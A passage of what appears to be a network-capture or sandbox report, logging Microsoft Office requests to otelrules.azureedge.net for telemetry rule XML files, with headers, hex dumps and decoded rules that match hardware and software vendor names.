xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:16 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 27d1d277-c01e-0014-7129-40a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221116Z-174f7845968n2hr8hC1EWR9cag000000105000000000canv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:16 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221117Z-174f7845968frfdmhC1EWRxxbw00000010gg00000000fpse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:17 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221117Z-174f78459688l8rvhC1EWRtzr00000000d60000000004twy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:17 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:17 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221118Z-174f7845968zgtf6hC1EWRqd8s0000000tbg00000000qxag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221118Z-174f7845968xr5c2hC1EWRd0hn0000000hdg000000006qfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:20 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:20 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221120Z-174f7845968kvnqxhC1EWRmf3g0000000m9g00000000e4xu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:20 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:20 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:20 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221120Z-174f78459684bddphC1EWRbht4000000104g00000000pfvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:20 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:20 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 26935917-f01e-0003-011b-414453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221120Z-174f78459684bddphC1EWRbht4000000105000000000nv78 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:20 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:20 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221120Z-174f7845968zgtf6hC1EWRqd8s0000000th0000000006c8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:20 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 490736a9-701e-0097-7e01-42b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221120Z-174f78459684bddphC1EWRbht400000010ag000000004qta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:22 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:22 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c6635303-801e-0083-091e-41f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221122Z-174f7845968jrjrxhC1EWRmmrs00000010t0000000000z43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:22 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:22 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:22 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221122Z-174f7845968j6t2phC1EWRcfe800000010q000000000agdk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:22 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 